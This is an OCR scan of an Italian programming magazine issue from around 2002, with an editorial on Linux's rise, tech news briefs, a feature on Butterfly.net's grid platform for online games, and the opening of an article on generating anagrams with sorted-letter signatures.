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► ► ► Tiriamo le somme». 

È tempo di bilanci, è tempo di tirar le somme, di 
valutare, nel bene e nel male, quello che è stato Tan- 
no 2002. Dal canto nostro, ci limiteremo a discutere 
delle "rivoluzioni" informatiche, sempre che ce ne 
siano state, lasciando sceverare fra il bene e il male 
ad altri professionisti, così come è d'altronde giusto 
che sia. 

Tante le vicende che hanno 
"corteggiato" Tanno 2002, sa- 
rebbe quasi utopico menzio- 
narle tutte. 

Mi preme porre Taccento su 
due aspetti: Tascesa di Linux 
e la conseguente impennata 
del mondo Open Source. 
L'anno 2002, di fatto, ha visto 
rinascere il sistema che, fra 
tutti, si è posto come primo e serio ostacolo all' ege- 
monia di sua maestà Windows, ne sono prova lam- 
pante le innumerevoli distribuzioni rilasciate, il 
"consorzio" United Linux, Tadozione del sistema da 
parte di grandi nomi delT informatica e il recente 
Linux Day svoltosi nelle maggiori città italiane. 
Insomma, di carne al fuoco ne è stata messa tanta, 
tanta da convincerci che il nuovo anno non sia un 
semplice momento di passaggio ma uno dei seri giu- 
dici di una battaglia (leggi Microsoft VS Linux) che 
ora più che mai sembra nel vivo del "conflitto". 

Gianfranco Forlino 
(gforlino@edmaster.it) 
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News 



Il Ministero della 
Difesa Americano 
e Unisys insieme 
per valutare 
le più recenti tec- 
niche biometriche 
per la sicurezza 

La tecnologia Unisys 
trasforma fotografie di 
persone in immagini 3D che 
consentono di riconoscere 
l'individuo dalla pelle, dalle 
espressioni del volto e 
dall'età 



Unisys si è aggiudicata una 
commessa del valore di 1,23 
milioni di dollari con il Ministero 
della Difesa Americano, a sostegno 
dello sviluppo e della ricerca nel 
campo della biometria. La 
biometria identifica le 
caratteristiche specifiche di un 
singolo individuo, riconoscendo le 
impronte digitali, l'iride, la 
topografia del viso, il timbro della 
voce e la struttura della mano. 
Unisys, in collaborazione con 
partner provenienti dal mondo 
accademico e aziendale, 
perfezionerà l'attuale sistema di 
riconoscimento del viso, al fine di 
migliorare l'identificazione basata 
su un database di fotografie 
bidimensionali. Il team di Unisys 
lavorerà utilizzando un programma 
di conversione delle fotografie in 
formato tridimensionale che 
prenderà in esame anche la pelle, le 
espressioni e l'età della persona 
raffigurata. 

Riprodurrà inoltre il movimento 
dell'uomo. Il programma consentirà 
alle autorità di sfruttare le migliaia 
di fotografie già archiviate per 
controllare attività in cui si richiede 



l'uso di questi servizi, come il 
Bancomat o il passaporto, o 
semplice l'accesso a determinate 
aree. L'attività di ricerca prevedono 
anche lo studio di nuove soluzioni 
biometriche, come il riconoscimento 
tridimensionale di viso e orecchio. 
Questo specifico progetto sarà alla 
base di un programma di ricerca e 
sviluppo portato avanti in 
collaborazione con il Ministero 
della Difesa per la realizzazione di 
un "intelligent office" che 




, 



contribuisca a tutelare la sicurezza 
dell'uomo. Scopo del programma è 
utilizzare le applicazioni di 
riconoscimento biometrico per 
identificare chi si avvicina a un 
edificio commerciale, controllare 
chi entra nelle stanze di un ufficio, 
seguire ogni singola attività ed ogni 
movimento e fornire a network e 
ambienti di lavoro la possibilità di 
accedere a questi sistemi di 
riconoscimento. 

Gli ambiti di implementazione della 
biometria sono innumerevoli: 
possono integrare soluzioni di 
sicurezza già esistenti o altri sistemi 
biometrici per incrementare il 
livello di sicurezza. 
La biometria può essere applicata 
per il controllo degli ingressi negli 
edifici, per l'accesso a reti 
informatiche e programmi, per 
indagini criminali, per la 
prevenzione delle frode e per 
salvaguardare la sicurezza di 
persone, dati, network, confini ed 
edifici. 

www.unisys.com 



Open Source pronto 
al monopolio 

Questa l'affermazione del 
leader del "JBOSS" project 

Durante un'intervista rilasciata al 
magazine on line "Theopenter- 
prise.com" ', il fondatore del progetto 
"JBoss" ha parlato della situazione di 
mercato dell'universo Open Source e 
del successo crescente di Java. 
Secondo Marc Fleury, leader del 
progetto "JBOSS", è prossima la fine 
delle licenze delle infrastrutture 
software, mentre quelle Open 
Source, basate sulla piattaforma 
J2EE, deterranno il monopolio. 
È possibile leggere l'intera intervista, 
direttamente dal sito del magazine 
"Theopenterprise" 

http://www.theopenenterprise.com 
/story/TOE20021120S0001 



In arrivo 
Microsoft 
Windows .NET 
2003 Server RC2 

La casa di Redmond pre- 
senta l'RC2 e dichiara di 
voler rilasciare la versione 
ufficiale in occasione del 
CeBIT 

Microsoft ha annunciato il 
rilascio della release candidate 
2 di Windows .NET 2003 Server. 
Questa nuova release dovrebbe 
garantire una maggiore stabilità 
della precedente, comunque già 
abbastanza stabile. La software 
house di Redmond ha inoltre 
annunciato la presentazione ufficiale 
dell'attesa piattaforma alla prossima 
edizione del "CeBIT". Realizzato 
sulle affidabili basi della famiglia di 
prodotti Windows 2000 Server, 
Windows .NET Server 2003 integra 
un ambiente applicativo dalle grandi 
potenzialità per lo sviluppo di 
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servizi Web XML e soluzioni 
business innovative, destinati ad 
apportare miglioramenti significativi 
a livello di efficienza dei processi. 
Include tutte le caratteristiche 
fondamentali che i clienti si 
aspettano da un sistema operativo 
Windows Server, in particolare 
sicurezza, affidabilità e scalabilità. 
Microsoft ha inoltre migliorato ed 
esteso la famiglia di prodotti 
Windows Server per consentire alle 
organizzazioni di sfruttare appieno 
le funzionalità del mondo .NET. 

www.microsoft.com 



MIDP 2.0: 
pronto il futuro 
delle applicazioni 
wireless 



SUN ha annunciato di aver 
ultimato la definizione del 
nuovo Mobile Information 
Device Profile, il nuovo 
standard per palmari e PDA 



Insieme a partner del calibro di 
Nokia, Motorola, AT&T Wireless 
ed altre cinquanta grandi aziende 
dellTT, Sun ha preparato il nuovo 
MIDP 2.0, il cui obiettivo è di 
migliorare il supporto delle nuove 
tecnologie in ambito mobile. 
MIDP 2.0 rappresenta un importante 
passo avanti nell'evoluzione delle 
applicazioni per dispositivi mobili, 
sia nel campo consumer che nel set- 
tore business, dove la sicurezza 
delle transazioni diventa un fattore 
determinante. 
Gli ambiti in cui si è intervenuto 



spaziano dalla grafica, all'audio, dal 
miglioramento del supporto video 
alla sicurezza: il tutto si traduce in 
una grande opportunità sia per gli 
sviluppatori Java che per le aziende 
interessate a fornire nuovi prodotti. 
In dettaglio i miglioramenti apporta- 
ti con MIDP 2.0: 

• Miglioramento dell'interfaccia 
utente attraverso il supporto di un 
ampia gamma di dispositivi con 
schermi di diverse dimensioni; 

• definizione di una piattaforma 
standard per il supporto di toni e 
file WAV; 

• nuove API specifiche per i giochi; 

• miglioramento delle funzioni di 
connettività con il supporto di 
HTTPS, datagram, socket e 
comunicazione via seriale: ogni 
applicazione potrà scegliere fra 
numerose possibilità di con- 
nessione con i servizi back-end; 

• una nuova tecnologia di push per 
forzare l'attivazione di 
determinate funzioni sui 
dispositivi mobili. Tipiche 
applicazioni: aggiornamento 
notizie in tempo reale, trading di 
borsa, aste on-line messaggistica; 

• miglioramento della sicurezza 
attraverso l'adozione di standard 
quali SSL e WTLS per la 
trasmissione di dati criptati. 

www.sun.com 



Toshiba e Sony 
svelano una 
nuova tecnologia 
per i CHIP 

0.065 micron è il traguardo 
raggiunto grazie a una 
ricerca congiunta dei due 
colossi giapponesi 



bilità di una nuova tecnologia che 
rende possibile la produzione di 
chip LSI (Large Scale Integration) con 
una densità di transistor mai rag- 
giunta prima. Non sono stati forniti 
ancora tutti i dettagli, ma si può già 
dire che la nuova tecnologia ha per- 
messo la realizzazione delle più pic- 
cole memorie DRAM mai prodotte 
con una capacità pari a 256Mbit. 




i 



1 comunicato congiunto di Sony e 
Toshiba ha annunciato la disponi- 



Anche l'efficienza risulterà migliora- 
ta di circa il 30% rispetto ai chip 
prodotti con gli attuali metodi. 
I/alleanza fra Toshiba e Sony nasce 
nel maggio del 2001, mentre i primi 
risultati concreti si sono avuti nel 
settembre 2002, proprio con questa 
nuova tecnologia per sistemi LSI. 
I ricercatori hanno previsto che la 
tecnologia sarà matura per la produ- 
zione di serie nel marzo 2004. 

www.toshiba.com 



SOAP ha 

un nuovo rivale 

Un nuovo approccio allo 
sviluppo di Web Services 
potrebbe presto mettere i 
programmatori di fronte a 
un bivio 

La tecnologia alternativa che si 
sta facendo strada è REST 
(Representation State Transfer), un 
modello per il distributed compu- 
ting e per la costruzione di Web 
Services che focalizza la sua atten- 
zione sulle transazioni. I sostenitori 
di REST ritengono che SOAP, essen- 
do stato ideato per bypassare i 
firewall, sia intrinsecamente poco 
sicuro. 

In realtà SOAP e REST non sono in 
diretta competizione, in quanto 
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REST si configura più come uno 
stile architetturale, mentre SOAP è 
un vero e proprio protocollo; quello 
a cui si sta assistendo è dunque più 
uno scontro fra due filosofie: una 
più orientata alle industrie (SOAP è 
sponsorizzata da nomi del calibro di 
Microsoft e IBM), l'altra più vicina 
alle esigenze degli utenti. 
Per il momento REST è ancora 
un'alternativa lontana, ma il futuro 
è ancora tutto da scrivere. 



SUN rilascerà un 
toolkit Java per 
StarOffice 

Entro la metà del prossimo 
anno sarà disponibile un 
SDK per personalizzare la 
suite open source 

Lo StarOffice Developers Kit sarà 
parte integrante dell'unica suite 
per ufficio rimasta a contendere il 
mercato dominato dall'Office di 
Microsoft. 

L'SDK consentirà agli sviluppatori 
di utilizzare Java per aggiungere 
nuove e più specifiche funzionalità a 
StarOffice, sia attraverso dei veri e 
propri plug-in che con 
personalizzazioni dell'interfaccia. 
Attualmente, per modificare il 
comportamento della suite é 




possibile utilizzare un linguaggio di 
script denominato StarOffice Basic, 
molto simile al Visual Basic di 
Microsoft, ma ci sono molte 
limitazione nell'utilizzo di questo 
linguaggio. 

Lo scopo di Sun è quello di avere 
una versione Java del VBA utilizzato 
da Microsoft legando allo stesso 
modo il concetto di macro a quello 
di metodo di una classe Java. 
Stante la grande diffusione di Java e 
la intrinseca sicurezza del 
paradigma, i risultati di questa 
fusione potrebbero assumere una 
importanza notevole. 
Il toolkit sarà disponibile per il 
download entro la prima metà del 
2003 ed entrerà a dar parte di 
StarOffice 6.0 con il prossimo 
upgrade. 

www.openoffice.org 



Si alza il velo sul 
codice di PGP 

La PGP Corp. ha ufficial- 
mente svelato il codice del 
noto programma di critto- 
grafia 

Con il chiaro intento di catturare 
l'interesse di nuovi utenti, PGP 
Corp ha rilasciato il codice sorgente 
di uno dei più diffusi software per la 
protezione della privacy su Internet. 
La mossa ha praticamente capovolto 
la politica seguita dal precedente 
proprietario di PGP, la Network 
Associates. 

Il codice sorgente è stato pubblicato 
al solo scopo di studio, per 
consentire agli sviluppatori di tutto 
il mondo di verificare che non ci 
siano né bug né pezzi di codice 
malizioso messo lì intenzionalmente, 
per verificare insomma che PGP 
faccia esattamente quello che 
dichiara, e lo faccia al meglio. 
Quando nel 1997 Network 
Associates acquistò i diritti di PGP 
dal suo creatore (Phil Zimmermann), 
fu deciso di non pubblicare il codice 
sorgente, cosa che provocò il 
disappunto e la disaffezione di molti 



utenti, specialmente fra gli 
sviluppatori: benché la tecnologia 
non fosse mai stata open source, il 
codice sorgente era sempre stata 
pubblicata a fini di revisioni e per 
questioni di trasparenza. Gli utenti 
potevano modificare il codice, ma 
non era loro permesso distribuire il 
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codice manomesso. 
La mossa è servita anche a rilanciare 
la proposta di un software PGP a 
pagamento, proposta che sente 
sempre più forte la concorrenza 
dell'alternativa gratuita e open 
source offerta da GnuPG. 

www.pgp.com 



Symbian annuncia 
l'intenzione di 
rilasciare OPL 
come open source 

A breve dovrebbe essere 
possibile scaricare e modi- 
ficare il codice sorgente 
della nota piattaforma 

La notizia è di quelle ghiotte: OPL 
diventerà un progetto open 
source. OPL è un liguaggio BASIC- 
like che permette di scrivere in poco 
tempo applicazioni perfettamente 
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funzionanti e che ha le sue radici 
nella programmazione degli 
Organiser II di Psion. La grande 
schiera di appassionati che utilizza- 
vano questo linguaggio già negli 
anni ottanta potrà dunque gioire di 
questo rinnovato interesse verso una 
piattaforma che alcuni avevano 
immaginato sulla via del tramonto. 
La strada scelta per il rilancio della 
piattaforma è un sistema di aggior- 
namento sullo stile di SourceForge: 
accanto a una versione "ufficiale 
Symbian", sarà dunque possibile 
scaricare delle versioni modificate 
dalla comunità di sviluppatori Open 
Source. 

www.symbian.com 



Adobe annuncia il 
nuovo Graphics 
Server 

Produzione di immagini 
automatizzata con Adobe 
Graphics Server 2.0 

Adobe Systems Inc. ha annuncia- 
to il rilascio di Adobe Graphics 
Server 2.0, la versione più recente 
del suo software server per la grafi- 
ca e le immagini. Permettendo il 
supporto di flussi di lavoro di 
network publishing, Adobe 
Graphics Server consente alle azien- 
de di creare, aggiornare e riadattare 
per diversi tipi di media immagini 
di elevata qualità, velocizzando e 
semplificando gran parte delle ope- 
razioni necessarie. 
Adobe Graphics Server e' stato pro- 
gettato per essere utilizzato sia su 
piattaforme Web che cross-media, 
ma anche per soddisfare le esigenze 
di sistemi di content management, 
di asset management e sistemi di 
pre-stampa. Molte tra le principali 
aziende d'integrazione e tra i part- 
ner hanno scelto di supportare il 
software: tra queste ci sono Artesia, 
Burntsand, Context Media, 
Documentum, MediaBin, 
NetXposure, North Plains e 
WebWare. Supportando gli standard 



aperti e le API, l'Adobe Graphics 
Server può essere utilizzato sui prin- 
cipali server applicativi quali BEA, 
IBM, iPlanet, e Oracle. 
"Il progetto su cui stiamo lavorando 
con la British Library, richiede la 
rapida conversione di oltre 100,000 
immagini in una gamma di formati 
diversi per la pubblicazione in 
Internet," ha affermato David 
Macken, engineering director per 
Computer Horizons. "Avevamo 
bisogno della migliore qualità' d'im- 
magine, il pieno controllo dei para- 
metri d'immagine, velocita' e facilita' 




d'integrazione. Adobe Graphics 
Server é l'unica soluzione che ha 
maggiormente soddisfatto tutti que- 
sti criteri." Computer Horizons é' 
un'azienda inglese specializzata 
nella realizzazione di soluzioni 
internet, intranet ed e-commerce per 
clienti quali Buzz (KLM) Airlines, 
Her Majesty's Treasury e Pfizer. 

www.adobe.com 



Borland presenta 
JBuilder 8 



Borland annuncia l'ambien- 
te multipiattaforma leader 
per la realizzazione di 
applicazioni Java di livello 
enterprise. 

JBuilder consente di accelerare lo 
sviluppo di applicazioni EJB, 
client Web, XML, Web Services e di 
database grazie a strumenti di pro- 
gettazione visuale two-way e alla 



rapidità di distribuzione sui princi- 
pali application server per piattafor- 
ma J2EE. Consente inoltre di miglio- 
rare l'efficienza dei gruppi di svilup- 
po Java di generare applicazioni più 
velocemente e in modo più affidabi- 
le. JBuilder consente di scegliere 
liberamente le piattaforme di svilup- 
po, i sistemi di controllo della ver- 
sione e gli application server, senza 
dover sottostare ai vincoli imposti 
dai fornitori. Essi potranno inoltre 
godere dei vantaggi offerti dalla 
vasta comunità di sviluppatori 
impegnati a personalizzare ed esten- 
dere l'ambiente JBuilder, utilizzando 
l'architettura flessibile JBuilder 
OpenTools. L'ambiente di sviluppo 
JBuilder costituisce il nucleo princi- 
pale della piattaforma software di 
Borland per Java. Grazie alla solu- 
zione Borland i gruppi di sviluppo 
potranno fare molto di più: ridurre i 
costi di sviluppo, mettere a punto 
applicazioni omogenee di elevata 
qualità e migliorare il time-to- 
market. Dall'interno dell'ambiente 
di sviluppo integrato di JBuilder, lo 
sviluppatore può gestire l'intero 
ciclo di sviluppo dell'applicazione, 
dalla progettazione alla distribuzio- 
ne. Il nuovo JBuilder Performance 
Bundle include inoltre Borland 
Optimizeit Suite, lo strumento 
numero uno per la gestione delle 
prestazioni con Java, grazie al quale 
gli sviluppatori potranno disporre 
di una soluzione ottimizzata e di 
facile utilizzo per la creazione di 
applicazioni di classe enterprise. 
JBuilder offre il supporto completo 
per la realizzazione di applicazioni 
conformi a EJB 1.1 e EJB 2.0. È infatti 
possibile creare Enterprise 
JavaBeans riutilizzabili grazie a stru- 
menti di progettazione visuale EJB 
two-way. Utilizzando l'editor visua- 
le di descrittori per la distribuzione, 
è possibile preparare e gestire EJB 
indipendenti dall'application server, 
creando descrittori di distribuzione, 
ambiente e controllo. Entità Bean 
Modeler consente di creare la map- 
patura oggetto-relazioni del databa- 
se per fonti di dati, tabelle, indici, 
campi e relazioni "entity bean". 



www.borland.com 
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Una farfalla 

nel futuro dei video games? 



Il mondo dei 

videogames incontra 

quello del grid 

computing. 



Ne è passato di tempo da 
quando il massimo del multi- 
player era rappresentato dal- 
la partitella in due, magari dividendo- 
si la tastiera. 

Da qualche anno il Multiplayer Online 
è diventato una realtà e i Massive Mul- 
tiplayer Online Games (MMOG) spo- 
polano tra giovani e meno giovani. Per 
farci un'idea conviene dare un'occhia- 
ta alle cifre. Lo scorso anno Ultima On- 
Line ha registrato 250.000 giocatori 
che, con una media di 13 ore a settima- 
na, hanno passato 160 milioni di ore a 
giocare in rete. Everquest vanta la bel- 
lezza di 450.000 giocatori connessi me- 
diamente 20 ore alla settimana. Un bu- 
siness non da poco! 
E' evidente che si tratta del settore più 
eccitante e in maggiore crescita del 
mercato dei video giochi: milioni di 
giocatori di tutto il mondo che si scon- 
trano in real-time in vasti mondi vir- 
tuali. Il plurale è d'obbligo in quanto, 
attualmente, i giocatori vengono sud- 
divisi in server separati, cosa che limi- 
ta l'interazione tra i giocatori dando, di 
fatto, vita a più mondi. Nei sistemi at- 
tuali, inoltre, il gioco viene sospeso 
qualora il server sia down per proble- 
mi tecnici o per l'installazione di una 
patch. A questi problemi vuole porre 
rimedio una volta per tutte il progetto 
Butterfly.net avvalendosi della emer- 
gente tecnologia del Grid Computing. 
Di Grid Computing si sente parlare 
sempre più spesso, sebbene siano in 



molti a pensare che necessiti di altro 
tempo per raggiungere la completa 
maturazione. E una tecnologia in fase 
pionieristica che, secondo gli analisti, 
"sarà l'elemento catalizzatore per un 
insieme di nuove applicazioni che pri- 
ma non erano mai state prese seria- 
mente in considerazione". 



GRID COMPUTING 

Rajkumar Buyya dà questa definizione 
di griglia: "Una griglia è una tipologia 
di sistema distribuito e parallelo che 
permette la condivisione, la selezione, 
l'aggregazione di risorse distribuite at- 
traverso multipli domini amministrati- 
vi basandosi sulla loro disponibilità, 
capacità, performance, costo e sui re- 
quisiti dell'utente in termini di qualità 
del servizio. Diversamente da quello 
che succede nei cluster, in cui si ha un 
sistema di scheduling centralizzato e 
globale, nella griglia ogni nodo ha il 
suo resource manager e la sua politica 
di allocazione." 

In altre parole, il grid computing è un 
metodo per sfruttare la potenza di 
molti computer in una rete per affron- 
tare problemi richiedenti elevata capa- 
cità computazionale e grossi quantita- 
tivi di dati. Invece di usare la rete di 
computer semplicemente per comuni- 
care e trasferire dati, il grid computing 
sfrutta i cicli macchina non usati dei 
computer meno congestionati. 
La molla che ha spinto la ricerca sul 
grid computing è stata l'intenzione di 
rispondere alle esigenze poste da studi 
avanzati nel campo della scienza, del- 
l'ingegneria, della fisica, della biologia: 
campi dove è forte la necessità di ela- 
borare grandissime quantità di dati. A 
Butterfly.net va il merito di aver ag- 
giunto a questi un campo forse meno 



"accademico" ma altrettanto affasci- 
nante: quello dei videogame. 

DI COSA SI TRATTA 

Più di due anni di lavoro in sinergia 
con IBM e Sony hanno permesso a But- 
terfly.net di costruire una griglia per la 
distribuzione di tutte le attività di cal- 
colo legate all'esecuzione di più video- 
giochi in contemporanea su una server 
farm composta da IBM xSeries equi- 
paggiati con Red Hat Linux 7.2 e Db2 e 
collegati da una rete in fibra ottica. 
Il software proprietario, The Butterfly 
Grid Massively Multiplayer Game 
Platform, poggia sul software open 
source del progetto Globus, capostipite 
degli studi sul grid computing. Questo 
binomio rende possibile il monitoring 
dei server e la distribuzione delle atti- 
vità di calcolo dei giochi più popolari e 
delle aree più congestionate della Rete 
sulle risorse inutilizzate del centro da- 
ti. 

Le caratteristiche principali delle quali 
vanno fieri quelli del progetto "farfal- 
la" sono: 

• Illimitato numero di giocatori al- 
l'interno di un unico mondo virtua- 
le. 

• Avanzato sistema di intelligenza 
artificiale per il controllo degli NCP 
(Non-player characters). 

• Supporto per tutte le tipologie di 
videogames. 

• Possibilità di avere più MMOG in 
esecuzione concorrente sulla stessa 
griglia. 

• Supporto per PC, PocketPC, Palma- 
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ri, e console 128-bit. 

Componenti software sostituibili "a 
caldo", vale a dire nessuna interru- 
zione in caso di manutenzione e in- 
stallazione di patch. 



teway Servers, che fanno da ponte 
verso i vari dispositivi supportati 
(PC, Palmari, ecc.), Daemon Ser- 
vers, contenenti l'intelligenza artifi- 
ciale per il controllo dei Non-Player 
Characters, Game Servers, che 




Fig. 1: Il sito www.butterfly.net 



STEP BY STEP 

L'interfaccia tra lo sviluppatore e la 
griglia è il Butterfly Lab, un ambiente 
per lo sviluppo collaborativo. Le featu- 
res messe a disposizione da questo am- 
biente vanno dagli spazi di progetto 
privati a quelli condivisi, da un siste- 
ma per il controllo delle versioni basa- 
to sul CVS alle mailing list per le co- 
municazioni tra membri dello stesso 
team di sviluppo. 

Navigando nel sito del progetto, ci si 
può fare un'idea di quello che sarà il 
ciclo di vita di un generico videogame 
"alla Butterfly": 

1. Gli sviluppatori usano l'ambiente 
web-based del Butterfly Lab per 
immagazzinare la logica del gioco e 
le componenti grafiche in un Confi- 
guration Management System. Da 
qui, a lavoro ultimato, verranno 
spostate in un ambiente di testing. 

2. L'ambiente di testing riproduce in 
piccolo quello che sarà poi la gri- 
glia finale ed è composto da Ga- 



istanziano le componenti del gioco, 
Database Servers, per la persisten- 
za delle informazioni relative all'e- 
voluzione del mondo virtuale. 

3. Superati tutti i test, tutte le compo- 
nenti del gioco verranno spostate 
sulla griglia dei Service Providers. 

4. A questo punto il nuovo MMOG è 
pronto. I giocatori acquistano la lo- 
ro copia di videogame, si registra- 
no tramite il software client allega- 
to e... cominciano una nuova av- 
ventura. 



FORMAZIONE 

Nello scorso mese di luglio Butterfly 
.net ha avviato la fase di sperimenta- 
zione lanciando alcuni servizi per i 
programmatori. L'enorme interesse 
della comunità degli sviluppatori ver- 
so il progetto, testimoniato dalle mi- 
gliaia di registrazioni al sito e dai nu- 
merosi download del "Software Deve- 
lopment Kit", ha spinto Butterfly.net ad 
annunciare, nel mese di Agosto, l'av- 



vio, attraverso partnership con le mag- 
giori università e college, di un pro- 
gramma di formazione per i futuri svi- 
luppatori di "massively multiplayers 
games" su Butterfly Grid. 
Il primo "Game Developer's Boot- 
Camp" si terrà nel Giugno 2003 presso 
l'Università di Charleston, West Virgi- 
nia. Alla fine di questo seminario in- 
tensivo, della durata di due settimane, 
e superati i test di verifica, gli studenti 
riceveranno l'attestato di Butterfly 
Certified Developers. 
Secondo David Levine, CEO di Butter- 
fly.net, un simile attestato "sarà un'im- 
portante credenziale per lo sviluppato- 
re che vorrà dimostrare la propria 
esperienza sia nel campo degli online 
games che in quello del grid compu- 
ting". 

Al BootCamp dell'Università di Char- 
leston ne seguiranno altri nelle princi- 
pali Università del mondo. Per essere 
aggiornati su date e luoghi basta regi- 
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Fig. 2: Ciclo di vita di un videogame 



strarsi sul sito http://www.butterfly.net. 
Se l'aspirazione della vostra vita è 
quella di unire gioco e lavoro, state in 
campana... potrebbe essere la vostra 
occasione! :-) 

Altrimenti non resta che aspettare il 
primo game Butterfly-based... 

Alessandro Galasso 
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SOLUZIONI 



Giochiamo 



con le parole 



La produzione di anagrammi è un compito che 

può essere automatizzato. 

Realizzare un programma che risolva il 

problema è un'attività che presenta alcune 

difficoltà e molto, molto divertentimento. 



V V ti 



// Ti Tè play with the woràs" sarebbe 
stato un titolo più adatto a sin- 
tetizzare l'articolo di questo 
mese, per la presenza più duttile del verbo in- 
glese to play che non si riduce alla comune ac- 
cezione italiana 'giocare' che indica la mera at- 
tività di divertimento, ma si estende su un più 
vasto campo di azione che comprende attività 
di ascolto, produzione di suoni, interpretazioni 
e produzioni in genere. Vi prego di non consi- 
derare leziosa questa breve introduzione, se 
non altro perché già in passato mi sono servito 
dello stesso schema di titolo, e quindi devo del- 
le spiegazioni. I più attenti lettori possono ri- 
cordare che qualche numero fa, esattamente in 
ioProgrammo n. 60, un articolo basato su algo- 
ritmi per la ricerca di alcuni particolari numeri 
come quelli perfetti, portava il titolo "Giochiamo 
con in numeri" . Qualcuno potrebbe storcere il 
naso e ritenere che tra queste pagine si pensi so- 
lo a bighellonare senza affrontare nulla di con- 
creto. Così non è. L'attività spensierata di gioco 
nei confronti di cose e attività ci permette di 
scoprire senza fatica (almeno apparente) nuove 
conoscenze e saperi. Per questo motivo intendo 
che sia divertente oltre che importante per il 
nostro arricchimento culturale di studiosi in ge- 
nere e programmatori in particolare, affrontare 
problemi che si basino su componenti elemen- 
tari come le parole. In questo ambito il verbo 
gioco è sinonimo di manipolazione, studio, ap- 
profondimento e divertimento. Proverò a tra- 
smettervi, quindi, la suggestiva sensazione che 
si avverte nel riscontrare la presenza di infor- 
mazione in elementi di base come i numeri o 
nel caso specifico parole, e l'altrettanto interes- 
sante sensazione di sviluppare strumenti auto- 
matici per l'attuazione di processi manipolatori 
di tali elementi. L'ambito di azione si colloca in 
una disciplina dotata di una propria letteratura 
ancora non conosciuta ai più che è la linguisti- 



ca computazionale; essa in parole molto povere 
è lo studio della lingua e delle sue strutture, con 
particolare attenzione alle correlazioni statisti- 
co- lessicali, attraverso l'uso dell'elaboratore e 
di opportuni programmi di analisi. Chi ha letto 
almeno un paio di miei articoli saprà che ho 
una naturale attrazione verso problemi di que- 
sto tipo. Nel caso specifico la mia curiosità è 
stata innescata da alcuni articoli in cui si pre- 
sentavano anagrammi. La ricerca a ritroso, co- 
me i salmoni contro la corrente, mi ha portato 
in un interessante aree di studio con la quale ho 
imparato a produrre automaticamente ana- 
grammi. 
Vediamo insieme cosa ho scoperto! 

STORIA DI ANAGRAMMI 

Sul vocabolario alla parola anagramma si legge 
la definizione: "trasposizione delle lettere ài una o 
più parole in modo da formare altre parole di suono 
e di significato diverso" , chiaro vero? Del resto 
chi è che non si è cimentato almeno una volta 
nella vita in uno dei più intriganti giochi enig- 
mistici. In altre definizioni, gli anagrammi sono 
anche trasposizioni di lettere che generano pa- 
role senza alcun significato, nel presente studio 
non considereremo questi ultimi. Ad esempio, 
un anagramma della parola algoritmo è logarit- 
mo (ci sarà forse una relazione tra informatica e 
matematica? Chissà). Anagrammare oltre che 
un esercizio curioso e affascinante è uno stru- 
mento lessicale usato da molti scrittori per en- 
fatizzare le proprie composizioni poetiche. Per 
me alcuni semplici anagrammi, hanno sempre 
celato qualcosa di misterioso, come le due pa- 
role "rilevare" e "rivelare" che spesso si incrocia- 
no nella mia mente, talune volte confondendo- 
mi, ma il cui significato sorprendentemente si 
serve della parola anagrammata per essere in 
pieno espletato. Analizzateli e ditemi che cosa 
ne pensate. 

È comunque necessario precisare, come spesso 
accade in situazioni simili, che l'implementa- 
zione di un algoritmo in grado di anagramma- 
re in modo automatico non vuole affatto sosti- 
tuire l'affascinante attività manuale. È anzi un 
modo per mettere alla luce nuovi strumenti e 
tecniche per arricchire la disciplina, e diciamo 
la verità fino in fondo, per permette al pro- 
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grammatore di intraprendere una nuova sfida 
su un nuovo terreno (ormai non più tanto ver- 
gine) nel caso specifico quello della linguistica. 
La letteratura sulla materia è alquanto vasta, e 
cercheremo di tracciarne i passi fondamentali. 
Un punto di riferimento di primaria importan- 
za nel panorama nazionale è senza dubbio Cor- 
rado Giustozzi (un nome che chiunque orbiti 
nell'area informatica avrà almeno sentito nomi- 
nare, ulteriori informazioni al box Sul Web), che 
ringrazio pubblicamente per i riferimenti che 
mi ha gentilmente concesso e da cui ho attinto a 
piene mani. Il suo lavoro oltre a dare ordine al- 
la teoria fino ad oggi prodotta ha anche il pre- 
gio di aver introdotto neologismi che hanno im- 
presso forma e sostanza alla stessa teoria. Un 
esempio per tutti è il termine coniato autoana- 
grammatica con il quale si intende appunto l'og- 
getto dei nostri studi, appunto la produzione 
automatica di anagrammi. I primi studi sull'ar- 
gomento provengono per lo più da oltre ocea- 
no, USA ovviamente. Il primo passo verso un 
una ricerca automatica di anagrammi è stato la 
composizione di un dizionario di anagrammi 
sviluppato da N. Temperley datato 1973. Mate- 
riale divulgativo sull'argomento fu prodotto da 
M. Gardner e dopo un altro decennio da J. Ben- 
tley che produsse in C e Awk un dizionario di 
anagrammi a partire dal dizionario standard di 
lingua distribuito con Unix e pubblicò il lavoro 
sulla nota rivista ' ' Communication of ACM". Suc- 
cessivamente, altri importanti studiosi hanno 
affrontato l'argomento, tra cui A.K. Dewdney. 
Ma su cosa si basano tali studi? Tenterò di spie- 
gare il procedimento in una prima fase per 
grandi linee, dopodiché approfondirò i concetti 
che ritengo maggiormente interessanti discu- 
tendo un'opportuna struttura dati ed alcune 
parti dell'algoritmo risolutore. 

VERSO LO SVILUPPO 

DELL'ALGORITMO 

RISOLUTORE 

Il tutto ruota intorno una semplice quanto ge- 
niale intuizione che riduce ogni singola parola 
in un'altra parola battezzata firma. Una splendi- 
da e utile proprietà è associata al concetto di fir- 
ma, infatti, una parola e tutti i suoi anagrammi 
hanno la stessa firma. La firma altro non è che 
la stringa di partenza ordinata lettera per lette- 
ra, in modo crescente (funziona anche con sor- 
ting decrescente). La parola algoritmo avrà come 
firma "agilmoort" . Risulta evidente che ana- 
grammi della stessa parola, quali logaritmo, 
produrranno identica firma. Trovare l'anagram- 
ma di una parola si ridurrà alla ricerca della fir- 
ma della parola in un dizionario delle firme. In 
tale dizionario in corrispondenza di ogni firma 



si troveranno le parole che generano quella 
firma, appunto gli anagrammi. Abbiamo 
quindi tutti gli strumenti per risolvere il pro- 
blema. Inizialmente, bisogna caricare un di- 
zionario su memoria RAM in una struttura 
che discuteremo di seguito. Breve digressione; 
per dizionario si intende un normale vocabo- 
lario che però sia privo delle definizioni per le 
singole parole, quindi una sequenza ordinata 
di parole che abbiano un significato. Sebbene 
con opportune ricerche tali dizionari si posso- 
no reperire in rete, in caso di problemi o se 
non si dispone di un accesso a internet (cosa 
improbabile!) si può aggirare l'ostacolo pro- 
ducendo un proprio dizionario. Un dizionario 
si produce prendendo dei testi in italiano (in 
formato .txt la cosa è più facile) ed estraendo 
da essi le singole parole ed aggiungendole, 
qualora non siano presenti, nel dizionario 
